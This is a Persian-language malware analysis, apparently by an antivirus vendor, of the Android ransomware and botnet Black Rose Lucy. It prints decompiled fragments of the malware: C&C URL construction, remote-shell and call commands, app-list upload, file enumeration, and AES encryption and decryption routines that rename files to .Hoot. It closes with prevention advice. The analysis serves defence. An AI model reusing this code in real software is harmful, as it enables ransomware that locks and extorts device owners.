شرح کلی
نوع: تروجان (Trojan)
اسامی بدافزار:
Ransomware.Android.Lucy.Rs
درجه تخریب: متوسط
میزان شیوع: متوسط
باج افزار (Ransomware) چیست؟
باج افزار نوعی بدافزار است که به مجرمان این امکان را میدهد تا از طریق یک کنترل از راه دور گوشی قربانی را قفل کنند، به طوری که کاربر نتواند از گوشی خود استفاده کند. گاهی اوقات مجرمان تنها قسمتی از گوشی قربانی، مانند صفحه کلید مجازی را قفل نمیکنند، تا قربانی بتواند پول درخواست شده توسط باج افزارنویس را پرداخت کند. باج افزارها به صورت روزافزون در حال رشد و انتشار هستند و نسخههای جدید آنها پیوسته در سطح اینترنت منتشر میشوند. لازم به ذکر است که نویسندگان باج افزارها به دلیل استفاده از روش دریافت ارزهای دیجیتال به راحتی قابل پیگیری و شناسایی نیستند. بسیاری از باج افزارها، علاوه بر رمزگذاری فایلها، اقدام به قفل کردن گوشی نیز میکنند.
خانواده بدافزاری Lucy چیست؟
این بدافزار به عنوان نمونهای از خانواده بدافزاری “Black Rose Lucy” است. عملکرد بدافزار Lucy اینگونه است که هم به صورت یک botnet و هم به عنوان یک باجافزار برای دستگاههای اندرویدی عمل میکند. باج افزار پس از دانلود، بر روی گوشی کاربر اجرا شده و تمامی فایلهای موجود در دایرکتوریهای مختلف دستگاه را رمز میکند. سپس پیغام پرداخت باج را در پنجره مرورگر نمایش میدهد که ادعا میشود پیامی رسمی از پلیس فدرال ایالات متحده (FBI) است و قربانی را به داشتن محتوای مستهجن در دستگاه خود متهم میکند. همچنین، در این پیام آمده است که علاوه بر قفل شدن دستگاه، اطلاعات کاربر در مرکز دادههای جرایم سایبری FBI همراه با لیستی از تخلفات قانونی که کاربر به آن متهم شده، بارگذاری شده است. در پیام نمایش داده شده، میزان باج درخواستی جهت بازگردانی فایلهای رمز شده را مبلغ 500 دلار تعیین کرده است.
توضیحات فنی
این برنامه خود را به عنوان یک برنامه پخش کننده ویدیویی بیضرر معرفی کرده است، و در درجه اول از قابلیت (Accessibility service) برای اجرای بخشی از کد آلوده خود بدون هیچ گونه تعاملی با کاربر استفاده میکند. بدافزار با فعال کردن این سرویس باعث بقای بیشتر خود در گوشی کاربر میشود. با اجرای برنامه، آیکون برنامه بلافاصله به حالت hidden تبدیل میشود. در سرویس اصلی برنامه، با استفاده از BroadcastReceiverهای اندروید که به تمامی برنامهها از سمت سیستم عامل اندروید ارسال میشوند، با دریافت پیغام action.SCREEN_ON برنامه راهاندازی میشود. یعنی به نوعی نشان میدهد که برنامه رجیستر شده و شروع به کار میکند. به واسطه ارسال این پیغام به برنامه، دو سرویس “WakeLock” که صفحه دستگاه را روشن نگه میدارد و سرویس “WifiLock” که WIFI را روشن نگه میدارد، فعال میشوند. سپس پیغامی به صورت یک Dialog Box به کاربر نمایش داده میشود و از کاربر میخواهد تا SVO) Streaming Video Optimization) را فعال کند. کاربر دو اختیار دارد، یکی اینکه برروی گزینه ok کلیک کند و دیگری اینکه کلیک نکند.
۱. با کلیک کاربر بر روی گزینه “OK”، در واقع به بدافزار اجازه استفاده از سرویس دستیابی (Accessibility service) بدون اطلاع کاربر، داده میشود. هدف از نمایش این پیغام توسط بدافزارنویس این است که، بتواند دسترسی که هر برنامهای به سادگی قادر به دستیابی آن نیست را داشته باشد و به گوشی کاربر نفوذ کند و به این ترتیب به بقای خود با احتمال بالاتری ادامه میدهد چون تصور میشود این برنامه نیز جزو سرویسهای فعال در این بخش است. این دسترسی (Accessibility service) برای این است که تعامل کاربر با سیستم عامل اندروید به صورت خودکار انجام شود و برای کاربرانی طراحی شده که معلولیت دارند و یا محدودیت خاصی در استفاده از بخشهای مختلف گوشی دارند.
به دلیل اینکه بدافزار از نوع بات نت است، سروری آلوده برای ارسال پیام و اجرای کدهای آلوده در گوشی کاربر دارد. این بدافزار دارای 3 دامین (به صورت کد شده) است که باعث میشود برای بازه طولانیتری به بقای خود ادامه دهد. همچنین، آدرس سرورهای C&C به عنوان یک رشته طولانی کد شده نگه داشته شدهاند.
case 2:
paramString = new StringBuilder();
paramString.append("http://");
paramString.append(b);
localObject = "/http/private/add_log.php";
break;
case 1:
paramString = new StringBuilder();
paramString.append("http://");
paramString.append(b);
localObject = "/http/private/set_data.php";
break;
case 0:
label208: paramString = new StringBuilder();
paramString.append("http://");
paramString.append(b);
localObject = "/http/private/reg.php";
}
paramString.append((String)localObject);
b = paramString.toString();
return (String)b;
بر اساس فایل json ارسالی از سمت سرورها، به ازای هر کلید یک مقدار تنظیم شده و کدی در گوشی کاربر اجرا میشود.
- “Call”: تماس تلفنی مشخصی را با شماره دریافت شده از سرور بدافزار آغاز میکند.
localStringBuilder.append("tel:");
localStringBuilder.append(this.a.getString("number").replace(""s;", "\""));
localMon53itor.startActivity(new Intent("android.intent.action.CALL", Uri.parse(localStringBuilder.toString())).setFlags(268435456));
return;
}).start();
- “GetCrypt”: سرویسی را فراخوانی میکند که سعی در دستیابی به مجموعهای از دایرکتوریهای دستگاه دارد. لیست فایلهای موجود در گوشی جمع آوری میشود تا بتواند عملیات رمز کردن را بر روی آنها انجام دهد.
- “Decrypt”: مشابه “GetCrypt” اما برای رمزگشایی فایلهای رمز شده استفاده میشود.
- “GetCont”: پیامی را نشان میدهد که پرداخت رد شده است.
- “GetApp”: لیستی از تمام برنامههای نصب شده برروی گوشی کاربر را به سرور فرماندهی و کنترل ارسال میکند.
e(((JSONObject)localObject).getString("text").replace(""s;", "\""));
break label573;
a("Shell",m.a.a(((JSONObject)localObject).getString("command").replace(""s;", "\"")), "log");
break label573;
a("Список приложений", a.a(this), "app");
- “DelKey”: متغیرهایی را که حاوی کلید رمزگذاری هستند، خالی میکند.
- “Deleted”: این بدافزار خود را از دستگاه حذف میکند.
- “StartShell”: یک remote shell را بر روی دستگاه کاربر و برای انجام اهداف و دستورات از راه دور راه اندازی میکند.
۲. در صورتی که کاربر بر روی گزینه ok مربوط به dialog نمایش داده شده کلیک نکند، بارها در فواصل زمانی مشخص این Dialog نمایش داده میشود تا این دسترسی از کاربر گرفته شود.
روش آلودهسازی
الگوریتم Encryption/Decryption
به واسطه ارسال پیغام از سمت سیستم عامل اندروید به برنامه، دو سرویس شامل “WakeLock” که صفحه دستگاه را روشن نگه میدارد و سرویس “WifiLock” که WIFI را روشن نگه میدارد، فعال میشوند. همچنین از آنجایی که این بدافزار یک Botnet است، زمانی که کلید از سمت سرور در قالب فایل json به برنامه ارسال شود، کدی که به واسطه آن در برنامه اجرا میشود به شکل زیر خواهد بود:
۱. لیست کاملی از تمام فایلهای موجود در دایرکتوریهای گوشی کاربر به دست آورد.
۲. در صورتی که موفق به انجام این کار نبود، لیست تمام فایلهای موجود در مسیر دایرکتوری “/storage/” را به دست آورد.
۳. در نهایت در صورت دست نیافتن به فایلها در دو مرحله بالا، لیست کاملی از فایلهای موجود در دایرکتوری ” /sdcard/” را به دست میآورد.
try { d = ((PowerManager)getSystemService(“power”)).newWakeLock(1, getClass().getName()); d.acquire(); e = ((WifiManager)getApplicationContext().getSystemService(“wifi”)).createWifiLock(1, getClass().getName()); e.acquire(); } catch (Exception localException1) { localObject3 = new StringBuilder(); ((StringBuilder)localObject3).append(“”); ((StringBuilder)localObject3).append(localException1); Log.v(“filesSS 2”, ((StringBuilder)localObject3).toString()); } try { localObject3 = new ArrayList(); Object localObject4; Object localObject2; try { ArrayList localArrayList = l.a(getApplicationInfo().dataDir, “/”); } catch (Exception localObject2) { while (true) { localObject4 = new StringBuilder(); ((StringBuilder)localObject4).append(“”); ((StringBuilder)localObject4).append(localException2); ((StringBuilder)localObject4).append(” directory “); Log.v(“filesSS 23”, ((StringBuilder)localObject4).toString()); try { Object localObject1 = l.a(getApplicationInfo().dataDir, Environment.getExternalStorageDirectory().getPath()); if (localObject1 != null) { localObject4 = localObject1; localObject3 = localObject1; if (!((ArrayList)localObject1).isEmpty()); } else { localObject3 = localObject1; localObject4 = l.a(getApplicationInfo().dataDir, “/storage/”); } if (localObject4 != null) { localObject1 = localObject4; localObject3 = localObject4; if (!((ArrayList)localObject4).isEmpty()) continue; } localObject3 = localObject4; localObject1 = l.a(getApplicationInfo().dataDir, “/sdcard/”); } catch (Exception localObject2) { localObject4 = new StringBuilder(); ((StringBuilder)localObject4).append(“”); ((StringBuilder)localObject4).append(localException3); ((StringBuilder)localObject4).append(” directory “); ((StringBuilder)localObject4).append(Environment.getExternalStorageDirectory().getPath()); Log.v(“filesSS 233″, ((StringBuilder)localObject4).toString()); localObject2 = localObject3; } } } localObject3 = new StringBuilder(); ((StringBuilder)localObject3).append(” “); ((StringBuilder)localObject3).append(localObject2); ((StringBuilder)localObject3).append(” directory “); ((StringBuilder)localObject3).append(Environment.getExternalStorageDirectory().getPath()); Log.v(“filesSS 2”, ((StringBuilder)localObject3).toString()); |
بدافزارنویس برای گمراه کردن تحلیلگر، در این بخش کدی قرار داده که مربوط به کلید رمزگشایی فایلهای رمزشده است اما در حقیقت غلط هستند. از دو تابع که در یکی از آنها از الگوریتم AES با یک عدد ثابث “256×0” و در تابع دیگر از الگوریتم “HmacSHA256” به همراه عدد ثابت “x1280 ” استفاده شده است.
private SecretKey a() { try { Object localObject = KeyGenerator.getInstance(“AES”); ((KeyGenerator)localObject).init(256); localObject = ((KeyGenerator)localObject).generateKey(); return localObject; label20: return null; } catch (NoSuchAlgorithmException localNoSuchAlgorithmException) { break label20; } } private byte[] b() { try { Object localObject = KeyGenerator.getInstance(“HmacSHA256”); ((KeyGenerator)localObject).init(128); localObject = ((KeyGenerator)localObject).generateKey().getEncoded(); return localObject; label25: return null; } catch (NoSuchAlgorithmException localNoSuchAlgorithmException) { break label25; } } |
در ادامه نیز با استفاده از الگوریتم رمزگذاری مشخصی (AES)، شروع به رمز کردن فایلهای جمع آوری شده میکند. نوشتن بر روی فایلها را براساس یک سری محاسبات روی فایلها انجام میدهد، مثلا سایز فایل، اینکه از چه سایزی به بعد را آلوده میکند نیز مقداری ثابت و مشخص نیست (یعنی پارامتر به صورت داینامیک و در زمان اجرا وارد تابع میشود و در تحلیل استاتیک قابل رویت نیست).
ابتدا بررسی میکند در مسیرهای به دست آمده فایلی با پسوند “apk.” وجود دارد یا نه. در صورت وجود، با استفاده از الگوریتم رمزنگاری مشخص شده برای این بدافزار، فایل را رمز میکند و پسوند آن را به “Hoot.” تغییر میدهد. سپس، فایل اصلی را از گوشی کاربر پاک میکند و فایل رمز شده باقی میماند. در صورتی که فایلی جزو قوانین رمزگذاری فایل باجافزار نباشد، تنها پسوند آن را به “Hoot.” تغییر میدهد. همچنین، قبل از اینکه کل فایلها رمز شوند، برای اینکه بدافزارنویس مطمئن شود کل فایلها قابل بازگردانی هستند، با الگوریتم رمزگشایی فایل، یک فایل رمز شده را مجددا رمزگشایی میکند.
کلید رمزگشایی اصلی متشکل است از اولین بخش رشته “SecretKeySpec” با مقداری که از سمت سرور در متغییر رشتهای “key” که در مرحله قبل ارسال کرده، به همراه رشته دیگری به نام “key” که ازفایل پایگاه داده برنامه فراخوانی میشود. اینکه کدام متد برروی فایلها اعمال شود، یعنی فایلها رمزگذاری شوند یا رمزگشایی، همگی بستگی به مقدار بازگشتی متغیر Boolean در این کلاس دارد. اگر این مقدار برابر با True باشد، کد مربوط به رمزگشایی و اگر برابر False باشد، کد مربوط به رمزگذاری اجرا میشود.
- الگوریتم رمزگذاری:
while (true) { int i = ((BufferedInputStream)localObject2).read(localObject1); if (i == -1) break; ((BufferedOutputStream)localObject3).write(localObject1, 0, i); } ((BufferedOutputStream)localObject3).flush(); ((BufferedInputStream)localObject2).close(); ((BufferedOutputStream)localObject3).close(); if ((str2.contains(“.apk”)) && (!new File(str2).delete()) && (new File(str2).exists())) new File(str2).delete(); localObject1 = new StringBuilder(); ((StringBuilder)localObject1).append(str2); ((StringBuilder)localObject1).append(“.Hoot”); if ((new File(((StringBuilder)localObject1).toString()).delete()) || (!new File(str2).exists())) continue; new File(str2).delete(); continue; label454: str1 = str1.replace(“.Hoot”, “”); if (!new File(str1).exists()) continue; new File(str1).delete(); continue; return null; } catch (Exception localException) { break label454; } |
- الگوریتم رمزگشایی:
try { if ((!new File(str1).exists()) && (!new File(str1).canWrite())) continue; String str2 = str1.replace(“.Hoot”, “”); Object localObject1 = new FileInputStream(str1); Object localObject2 = new byte[p.b().length]; long l = new File(str1).length() – p.b().length; if (l <= -1L) continue; ((FileInputStream)localObject1).skip(l); ((FileInputStream)localObject1).read(localObject2, 0, p.b().length); if (!Arrays.equals(localObject2, p.b())) continue; ((FileInputStream)localObject1).close(); localObject1 = new FileOutputStream(str1, true); ((FileOutputStream)localObject1).getChannel().truncate(l); ((FileOutputStream)localObject1).close(); Object localObject3 = Cipher.getInstance(p.c()); ((Cipher)localObject3).init(2, p.d(), new IvParameterSpec(p.e())); localObject1 = new byte[1024]; localObject2 = new BufferedInputStream(new FileInputStream(str1)); StringBuilder localStringBuilder = new StringBuilder(); localStringBuilder.append(“in Work decrypt “); localStringBuilder.append(str1); Log.v(“test”, localStringBuilder.toString()); |
بعد از رمز شدن فایلها، سپس نوبت به نمایش پیغامی به کاربر مبنی بر باجخواهی برای بازگردانی فایلهایش خواهد بود. این پیغام باجخواهی را در پنجره مرورگر نمایش میدهد که ادعا میشود پیام رسمی FBI ایالات متحده است و قربانی را به داشتن محتوای مستهجن در دستگاه خود متهم میکند. در این پیام همچنین آمده است که علاوه بر قفل کردن دستگاه، اطلاعات کاربر در مرکز دادههای جرایم سایبری FBI، بارگذاری شده و همراه با لیستی از تخلفات قانونی است که کاربر متهم به ارتکاب آنها شده است. سپس به قربانی دستور داده میشود با وارد کردن اطلاعات کارت اعتباری خود، 500 دلار جریمه بپردازد.
هنگامی که فرآیند رمزگشایی کامل شد، بدافزار لاگ مربوط به انجام موفقیتآمیز (رمزگشایی) را ارسال میکند تا اطلاع دهد که همه فایلها با موفقیت رمزگشایی شدهاند. سپس بدافزار دستور فعلی را به “حذف” تغییر میدهد و به حذف خود ادامه میدهد و تمام فایلهایی که رمز شده بودند را با فایلهای سالم جایگزین میکند و پسوند “Hoot.” را از فایلها حذف میکند.
روش مقابله و پاکسازی سیستم
برای اطمینان خاطر از عدم آلودگی دستگاه، آنتی ویروس پادویش را نصب و فایل پایگاه داده آن را بهروز نگه دارید و اسکن آنتی ویروس را انجام دهید.
روش های پیشگیری از آلوده شدن گوشی:
۱. از دانلود و نصب برنامه از منابع و مارکتهای موبایلی نامعتبر خودداری کنید.
۲. هنگام نصب برنامههای موبایلی، به مجوزهای درخواستی دقت کنید.
۳. از فایلها و اطلاعات ذخیره شده در گوشی، پشتیبانگیری مداوم انجام دهید.
۴. از نسخههای غیررسمی برنامهها استفاده نکنید. برنامههایی مانند تلگرام و اینستاگرام نسخههای غیررسمی زیادی دارند و بیشتر آنها از طریق کانالهای تلگرامی انتشار مییابند.